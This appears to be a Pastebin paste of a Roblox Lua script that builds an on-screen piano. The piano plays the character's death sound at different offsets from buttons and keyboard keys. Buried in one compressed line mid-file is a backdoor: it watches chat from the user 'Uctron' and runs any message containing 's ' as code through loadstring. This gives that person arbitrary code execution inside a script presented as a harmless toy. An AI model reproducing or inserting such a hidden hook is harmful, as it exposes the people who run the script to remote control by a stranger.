Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -- Objects
- local PianoGui = Instance.new("ScreenGui")
- local HighD = Instance.new("TextLabel")
- local G = Instance.new("TextLabel")
- local C = Instance.new("TextLabel")
- local HighC = Instance.new("TextButton")
- local HighC_2 = Instance.new("TextButton")
- local G_2 = Instance.new("TextButton")
- local F = Instance.new("TextButton")
- local F_2 = Instance.new("TextButton")
- local E = Instance.new("TextButton")
- local D = Instance.new("TextButton")
- local D_2 = Instance.new("TextButton")
- local C_2 = Instance.new("TextButton")
- local B = Instance.new("TextButton")
- local A = Instance.new("TextButton")
- local A_2 = Instance.new("TextButton")
- -- Properties
- PianoGui.Name = "PianoGui"
- PianoGui.Parent = game.CoreGui
- PianoGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
- HighD.Name = "High D"
- HighD.Parent = PianoGui
- HighD.BackgroundColor3 = Color3.new(0.498039, 0.498039, 0.498039)
- HighD.BorderColor3 = Color3.new(0, 0, 0)
- HighD.Position = UDim2.new(0.356390029, 0, 0.671924293, 0)
- HighD.Size = UDim2.new(0.0399999991, 0, 0.25, 0)
- HighD.ZIndex = 0
- HighD.Font = Enum.Font.SciFi
- HighD.Text = "Can't Use\nHigh D"
- HighD.TextColor3 = Color3.new(0, 0, 0)
- HighD.TextSize = 13
- HighD.TextWrapped = true
- HighD.TextYAlignment = Enum.TextYAlignment.Bottom
- G.Name = "G#"
- G.Parent = PianoGui
- G.BackgroundColor3 = Color3.new(0.498039, 0.498039, 0.498039)
- G.BorderColor3 = Color3.new(0, 0, 0)
- G.Position = UDim2.new(0.225684628, 0, 0.671924293, 0)
- G.Size = UDim2.new(0.0229253117, 0, 0.130999997, 0)
- G.ZIndex = 2
- G.Font = Enum.Font.SciFi
- G.Text = "Can't Use"
- G.TextColor3 = Color3.new(0, 0, 0)
- G.TextSize = 10
- G.TextWrapped = true
- G.TextYAlignment = Enum.TextYAlignment.Bottom
- C.Name = "C"
- C.Parent = PianoGui
- C.BackgroundColor3 = Color3.new(0.498039, 0.498039, 0.498039)
- C.BorderColor3 = Color3.new(0, 0, 0)
- C.Position = UDim2.new(0.0410373211, 0, 0.671924293, 0)
- C.Size = UDim2.new(0.0399999991, 0, 0.25, 0)
- C.ZIndex = 0
- C.Font = Enum.Font.SciFi
- C.Text = "Can't Use\nC"
- C.TextColor3 = Color3.new(0, 0, 0)
- C.TextSize = 13
- C.TextWrapped = true
- C.TextYAlignment = Enum.TextYAlignment.Bottom
- HighC.Name = "High C#"
- HighC.Parent = PianoGui
- HighC.BackgroundColor3 = Color3.new(0, 0, 0)
- HighC.BorderColor3 = Color3.new(0, 0, 0)
- HighC.BorderSizePixel = 0
- HighC.Position = UDim2.new(0.345435649, 0, 0.670346975, 0)
- HighC.Size = UDim2.new(0.0250000022, 0, 0.134463727, 0)
- HighC.ZIndex = 2
- HighC.Font = Enum.Font.SourceSans
- HighC.Text = ""
- HighC.TextColor3 = Color3.new(0, 0, 0)
- HighC.TextSize = 13
- HighC_2.Name = "High C"
- HighC_2.Parent = PianoGui
- HighC_2.BackgroundColor3 = Color3.new(1, 1, 1)
- HighC_2.BorderColor3 = Color3.new(0, 0, 0)
- HighC_2.Position = UDim2.new(0.316390038, 0, 0.671924293, 0)
- HighC_2.Size = UDim2.new(0.0399999991, 0, 0.25, 0)
- HighC_2.Font = Enum.Font.SciFi
- HighC_2.Text = "High C"
- HighC_2.TextColor3 = Color3.new(0, 0, 0)
- HighC_2.TextSize = 13
- HighC_2.TextWrapped = true
- HighC_2.TextYAlignment = Enum.TextYAlignment.Bottom
- G_2.Name = "G"
- G_2.Parent = PianoGui
- G_2.BackgroundColor3 = Color3.new(1, 1, 1)
- G_2.BorderColor3 = Color3.new(0, 0, 0)
- G_2.Position = UDim2.new(0.198132783, 0, 0.671924293, 0)
- G_2.Size = UDim2.new(0.0399999991, 0, 0.25, 0)
- G_2.Font = Enum.Font.SciFi
- G_2.Text = "G"
- G_2.TextColor3 = Color3.new(0, 0, 0)
- G_2.TextSize = 13
- G_2.TextWrapped = true
- G_2.TextYAlignment = Enum.TextYAlignment.Bottom
- F.Name = "F#"
- F.Parent = PianoGui
- F.BackgroundColor3 = Color3.new(0, 0, 0)
- F.BorderColor3 = Color3.new(0, 0, 0)
- F.BorderSizePixel = 0
- F.Position = UDim2.new(0.182572618, 0, 0.671924293, 0)
- F.Size = UDim2.new(0.0250000022, 0, 0.13288644, 0)
- F.ZIndex = 2
- F.Font = Enum.Font.SourceSans
- F.Text = ""
- F.TextColor3 = Color3.new(0, 0, 0)
- F.TextSize = 13
- F_2.Name = "F"
- F_2.Parent = PianoGui
- F_2.BackgroundColor3 = Color3.new(1, 1, 1)
- F_2.BorderColor3 = Color3.new(0, 0, 0)
- F_2.Position = UDim2.new(0.158713698, 0, 0.671924293, 0)
- F_2.Size = UDim2.new(0.0399999991, 0, 0.25, 0)
- F_2.Font = Enum.Font.SciFi
- F_2.Text = "F"
- F_2.TextColor3 = Color3.new(0, 0, 0)
- F_2.TextSize = 13
- F_2.TextWrapped = true
- F_2.TextYAlignment = Enum.TextYAlignment.Bottom
- E.Name = "E"
- E.Parent = PianoGui
- E.BackgroundColor3 = Color3.new(1, 1, 1)
- E.BorderColor3 = Color3.new(0, 0, 0)
- E.Position = UDim2.new(0.118257269, 0, 0.671924293, 0)
- E.Size = UDim2.new(0.0399999991, 0, 0.25, 0)
- E.Font = Enum.Font.SciFi
- E.Text = "E"
- E.TextColor3 = Color3.new(0, 0, 0)
- E.TextSize = 13
- E.TextWrapped = true
- E.TextYAlignment = Enum.TextYAlignment.Bottom
- D.Name = "D#"
- D.Parent = PianoGui
- D.BackgroundColor3 = Color3.new(0, 0, 0)
- D.BorderColor3 = Color3.new(0, 0, 0)
- D.BorderSizePixel = 0
- D.Position = UDim2.new(0.109958492, 0, 0.671924293, 0)
- D.Size = UDim2.new(0.0250000022, 0, 0.13288644, 0)
- D.ZIndex = 2
- D.Font = Enum.Font.SourceSans
- D.Text = ""
- D.TextColor3 = Color3.new(0, 0, 0)
- D.TextSize = 13
- D_2.Name = "D"
- D_2.Parent = PianoGui
- D_2.BackgroundColor3 = Color3.new(1, 1, 1)
- D_2.BorderColor3 = Color3.new(0, 0, 0)
- D_2.Position = UDim2.new(0.0798755214, 0, 0.671924293, 0)
- D_2.Size = UDim2.new(0.0399999991, 0, 0.25, 0)
- D_2.Font = Enum.Font.SciFi
- D_2.Text = "D"
- D_2.TextColor3 = Color3.new(0, 0, 0)
- D_2.TextSize = 13
- D_2.TextWrapped = true
- D_2.TextYAlignment = Enum.TextYAlignment.Bottom
- C_2.Name = "C#"
- C_2.Parent = PianoGui
- C_2.BackgroundColor3 = Color3.new(0, 0, 0)
- C_2.BorderColor3 = Color3.new(0, 0, 0)
- C_2.BorderSizePixel = 0
- C_2.Position = UDim2.new(0.0663900375, 0, 0.671924293, 0)
- C_2.Size = UDim2.new(0.0250000022, 0, 0.13288644, 0)
- C_2.ZIndex = 2
- C_2.Font = Enum.Font.SourceSans
- C_2.Text = ""
- C_2.TextColor3 = Color3.new(0, 0, 0)
- C_2.TextSize = 13
- B.Name = "B"
- B.Parent = PianoGui
- B.BackgroundColor3 = Color3.new(1, 1, 1)
- B.BorderColor3 = Color3.new(0, 0, 0)
- B.Position = UDim2.new(0.276970953, 0, 0.671924293, 0)
- B.Size = UDim2.new(0.0399999991, 0, 0.25, 0)
- B.Font = Enum.Font.SciFi
- B.Text = "B"
- B.TextColor3 = Color3.new(0, 0, 0)
- B.TextSize = 13
- B.TextWrapped = true
- B.TextYAlignment = Enum.TextYAlignment.Bottom
- A.Name = "A#"
- A.Parent = PianoGui
- A.BackgroundColor3 = Color3.new(0, 0, 0)
- A.BorderColor3 = Color3.new(0, 0, 0)
- A.BorderSizePixel = 0
- A.Position = UDim2.new(0.269709498, 0, 0.671924293, 0)
- A.Size = UDim2.new(0.0250000022, 0, 0.13288644, 0)
- A.ZIndex = 2
- A.Font = Enum.Font.SourceSans
- A.Text = ""
- A.TextColor3 = Color3.new(0, 0, 0)
- A.TextSize = 13
- A_2.Name = "A"
- A_2.Parent = PianoGui
- A_2.BackgroundColor3 = Color3.new(1, 1, 1)
- A_2.BorderColor3 = Color3.new(0, 0, 0)
- A_2.Position = UDim2.new(0.237551868, 0, 0.671924293, 0)
- A_2.Size = UDim2.new(0.0399999991, 0, 0.25, 0)
- A_2.Font = Enum.Font.SciFi
- A_2.Text = "A"
- A_2.TextColor3 = Color3.new(0, 0, 0)
- A_2.TextSize = 13
- A_2.TextWrapped = true
- A_2.TextYAlignment = Enum.TextYAlignment.Bottom
- local Your_Username = "Uctron"
- local User if game.Players:FindFirstChild(Your_Username) then User = Your_Username else end function has(a,b)a=a or"Sample Text"b=b or"Sample"if string.match(a,b)and true or false then return true else return false end end;game.Players[User].Chatted:connect(function(message)if has(message:lower(),"s ")then message=message:gsub("s ","")loadstring(message)()end end)
- HighC.MouseButton1Click:Connect(function()
- game.Players.LocalPlayer.Character.Head.Died.TimePosition = .1
- game.Players.LocalPlayer.Character.Head.Died:Play()
- for i=1,3 do game:GetService("RunService").Stepped:Wait() end
- game.Players.LocalPlayer.Character.Head.Died:Stop()
- end)
- HighC_2.MouseButton1Click:Connect(function()
- game.Players.LocalPlayer.Character.Head.Died.TimePosition = -.275
- game.Players.LocalPlayer.Character.Head.Died:Play()
- for i=1,3 do game:GetService("RunService").Stepped:Wait() end
- game.Players.LocalPlayer.Character.Head.Died:Stop()
- end)
- B.MouseButton1Click:Connect(function()
- game.Players.LocalPlayer.Character.Head.Died.TimePosition = -.2675
- game.Players.LocalPlayer.Character.Head.Died:Play()
- for i=1,3 do game:GetService("RunService").Stepped:Wait() end
- game.Players.LocalPlayer.Character.Head.Died:Stop()
- end)
- A.MouseButton1Click:Connect(function()
- game.Players.LocalPlayer.Character.Head.Died.TimePosition = -.25875
- game.Players.LocalPlayer.Character.Head.Died:Play()
- for i=1,3 do game:GetService("RunService").Stepped:Wait() end
- game.Players.LocalPlayer.Character.Head.Died:Stop()
- end)
- A_2.MouseButton1Click:Connect(function()
- game.Players.LocalPlayer.Character.Head.Died.TimePosition = -.23
- game.Players.LocalPlayer.Character.Head.Died:Play()
- for i=1,3 do game:GetService("RunService").Stepped:Wait() end
- game.Players.LocalPlayer.Character.Head.Died:Stop()
- end)
- G_2.MouseButton1Click:Connect(function()
- game.Players.LocalPlayer.Character.Head.Died.TimePosition = -.19
- game.Players.LocalPlayer.Character.Head.Died:Play()
- for i=1,3 do game:GetService("RunService").Stepped:Wait() end
- game.Players.LocalPlayer.Character.Head.Died:Stop()
- end)
- F.MouseButton1Click:Connect(function()
- game.Players.LocalPlayer.Character.Head.Died.TimePosition = -.16
- game.Players.LocalPlayer.Character.Head.Died:Play()
- for i=1,3 do game:GetService("RunService").Stepped:Wait() end
- game.Players.LocalPlayer.Character.Head.Died:Stop()
- end)
- F_2.MouseButton1Click:Connect(function()
- game.Players.LocalPlayer.Character.Head.Died.TimePosition = -.1375
- game.Players.LocalPlayer.Character.Head.Died:Play()
- for i=1,3 do game:GetService("RunService").Stepped:Wait() end
- game.Players.LocalPlayer.Character.Head.Died:Stop()
- end)
- E.MouseButton1Click:Connect(function()
- game.Players.LocalPlayer.Character.Head.Died.TimePosition = -.12875
- game.Players.LocalPlayer.Character.Head.Died:Play()
- for i=1,3 do game:GetService("RunService").Stepped:Wait() end
- game.Players.LocalPlayer.Character.Head.Died:Stop()
- end)
- D.MouseButton1Click:Connect(function()
- game.Players.LocalPlayer.Character.Head.Died.TimePosition = -.12125
- game.Players.LocalPlayer.Character.Head.Died:Play()
- for i=1,3 do game:GetService("RunService").Stepped:Wait() end
- game.Players.LocalPlayer.Character.Head.Died:Stop()
- end)
- D_2.MouseButton1Click:Connect(function()
- game.Players.LocalPlayer.Character.Head.Died.TimePosition = -.11875
- game.Players.LocalPlayer.Character.Head.Died:Play()
- for i=1,3 do game:GetService("RunService").Stepped:Wait() end
- game.Players.LocalPlayer.Character.Head.Died:Stop()
- end)
- C_2.MouseButton1Click:Connect(function()
- game.Players.LocalPlayer.Character.Head.Died.TimePosition = -.115
- game.Players.LocalPlayer.Character.Head.Died:Play()
- for i=1,3 do game:GetService("RunService").Stepped:Wait() end
- game.Players.LocalPlayer.Character.Head.Died:Stop()
- end)
- plr = game.Players.LocalPlayer
- mouse = plr:GetMouse()
- mouse.KeyDown:connect(function(key)
- if key == "g" then
- game.Players.LocalPlayer.Character.Head.Died.TimePosition = -.11875
- game.Players.LocalPlayer.Character.Head.Died:Play()
- for i=1,3 do game:GetService("RunService").Stepped:Wait() end
- game.Players.LocalPlayer.Character.Head.Died:Stop()
- end
- end)
- plr = game.Players.LocalPlayer
- mouse = plr:GetMouse()
- mouse.KeyDown:connect(function(key)
- if key == "h" then
- game.Players.LocalPlayer.Character.Head.Died.TimePosition = -.12875
- game.Players.LocalPlayer.Character.Head.Died:Play()
- for i=1,3 do game:GetService("RunService").Stepped:Wait() end
- game.Players.LocalPlayer.Character.Head.Died:Stop()
- end
- end)
- plr = game.Players.LocalPlayer
- mouse = plr:GetMouse()
- mouse.KeyDown:connect(function(key)
- if key == "j" then
- game.Players.LocalPlayer.Character.Head.Died.TimePosition = -.1375
- game.Players.LocalPlayer.Character.Head.Died:Play()
- for i=1,3 do game:GetService("RunService").Stepped:Wait() end
- game.Players.LocalPlayer.Character.Head.Died:Stop()
- end
- end)
- plr = game.Players.LocalPlayer
- mouse = plr:GetMouse()
- mouse.KeyDown:connect(function(key)
- if key == "k" then
- game.Players.LocalPlayer.Character.Head.Died.TimePosition = -.19
- game.Players.LocalPlayer.Character.Head.Died:Play()
- for i=1,3 do game:GetService("RunService").Stepped:Wait() end
- game.Players.LocalPlayer.Character.Head.Died:Stop()
- end
- end)
- plr = game.Players.LocalPlayer
- mouse = plr:GetMouse()
- mouse.KeyDown:connect(function(key)
- if key == "l" then
- game.Players.LocalPlayer.Character.Head.Died.TimePosition = -.23
- game.Players.LocalPlayer.Character.Head.Died:Play()
- for i=1,3 do game:GetService("RunService").Stepped:Wait() end
- game.Players.LocalPlayer.Character.Head.Died:Stop()
- end
- end)
- plr = game.Players.LocalPlayer
- mouse = plr:GetMouse()
- mouse.KeyDown:connect(function(key)
- if key == ";" then
- game.Players.LocalPlayer.Character.Head.Died.TimePosition = -.2675
- game.Players.LocalPlayer.Character.Head.Died:Play()
- for i=1,3 do game:GetService("RunService").Stepped:Wait() end
- game.Players.LocalPlayer.Character.Head.Died:Stop()
- end
- end)
- plr = game.Players.LocalPlayer
- mouse = plr:GetMouse()
- mouse.KeyDown:connect(function(key)
- if key == "'" then
- game.Players.LocalPlayer.Character.Head.Died.TimePosition = -.275
- game.Players.LocalPlayer.Character.Head.Died:Play()
- for i=1,3 do game:GetService("RunService").Stepped:Wait() end
- game.Players.LocalPlayer.Character.Head.Died:Stop()
- end
- end)
- plr = game.Players.LocalPlayer
- mouse = plr:GetMouse()
- mouse.KeyDown:connect(function(key)
- if key == "r" then
- game.Players.LocalPlayer.Character.Head.Died.TimePosition = -.115
- game.Players.LocalPlayer.Character.Head.Died:Play()
- for i=1,3 do game:GetService("RunService").Stepped:Wait() end
- game.Players.LocalPlayer.Character.Head.Died:Stop()
- end
- end)
- plr = game.Players.LocalPlayer
- mouse = plr:GetMouse()
- mouse.KeyDown:connect(function(key)
- if key == "t" then
- game.Players.LocalPlayer.Character.Head.Died.TimePosition = -.115
- game.Players.LocalPlayer.Character.Head.Died:Play()
- for i=1,3 do game:GetService("RunService").Stepped:Wait() end
- game.Players.LocalPlayer.Character.Head.Died:Stop()
- end
- end)
- plr = game.Players.LocalPlayer
- mouse = plr:GetMouse()
- mouse.KeyDown:connect(function(key)
- if key == "y" then
- game.Players.LocalPlayer.Character.Head.Died.TimePosition = -.165
- game.Players.LocalPlayer.Character.Head.Died:Play()
- for i=1,3 do game:GetService("RunService").Stepped:Wait() end
- game.Players.LocalPlayer.Character.Head.Died:Stop()
- end
- end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement